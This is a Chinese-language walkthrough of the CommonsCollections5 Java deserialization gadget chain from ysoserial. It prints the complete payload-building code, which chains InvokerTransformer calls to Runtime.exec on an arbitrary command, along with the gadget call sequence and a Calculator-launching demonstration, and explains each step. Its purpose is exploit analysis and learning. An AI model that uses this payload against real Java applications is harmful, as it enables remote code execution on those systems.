CommonsCollections5

CC5链源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
public BadAttributeValueExpException getObject(final String command) throws Exception {
// 创建一个字符串数组存储要执行的命令
final String[] execArgs = new String[] { command };

final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) }
);

final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[] {"getRuntime", new Class[0]} ),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[] {null, new Object[0]} ),
new InvokerTransformer("exec", new Class[] {String.class}, execArgs),
new ConstantTransformer(1)
};

final Map innerMap = new HashMap();

final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");

BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
Reflections.setAccessible(valfield);
valfield.set(val, entry);

Reflections.setFieldValue(transformerChain, "iTransformers", transformers);

return val;
}

CC5链构成过程

根据ysoserial在源代码中的注释,方便我们对payload的理解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Gadget chain:
ObjectInputStream.readObject()
BadAttributeValueExpException.readObject()
TiedMapEntry.toString()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

在程序执行ObjectInputStream.readObject(),进入反序列化过程。整个Gadget构建在BadAttributeValue下,也是通过该对象的反序列化构建出命令执行过程,跟入BadAttributeValue

Untitled

在72通过get方法获取val的值,该获取的值在经历一系列类型判断后调用该对象的toString方法。根据源代码,我们知道valObj的类型为TiedMapEntry

Untitled

toString方法中,调用了getKeygetValue方法,跟进getValue,它调用了Map接口中的get方法。

Untitled

LazyMap继承AbstractMapDecorator实现了Map接口,并实现了get方法

Untitled

在执行get方法过程中会执行factory.transform,跟进factory的定义,它通过源代码中final Map lazyMap = LazyMap.decorate(innerMap, transformerChain)声明,根据传入的transformerChain的类型可知其为ChainedTransformer。跟进ChainedTransformer中的transform方法,它遍历执行了传入的object

Untitled

CC中类的解释

Transformer

Transformer是一个接口,定义了一个transform方法

Untitled

functors.ChainedTransformer

实现Transformer链式调用,通过一个Transformer数组

构造函数

1
2
3
public ChainedTransformer(Transformer[] transformers) {
this.iTransformers = transformers;
}

Untitled

在transform方法通过遍历Transformer数组每个对象,并调用每个对象的transform方法

functors.InvokerTransformer

利用Java反射机制创建类实例,在该类中有如下几个函数

构造函数InvokerTransformer

Untitled

核心类方法 transform

Untitled

通过这个类方法,我们可以直接实例化各种类,并传入任意参数,所以就可以直接构造命令执行实例

1
2
3
4
5
6
7
InvokerTransformer invokerTransformer = new InvokerTransformer(
"exec",
new Class[]{String.class},
new String[]{"open -a Calculator"}
);

invokerTransformer.transform(Runtime.getRuntime());

functors.ContantTransformer

每次返回相同常量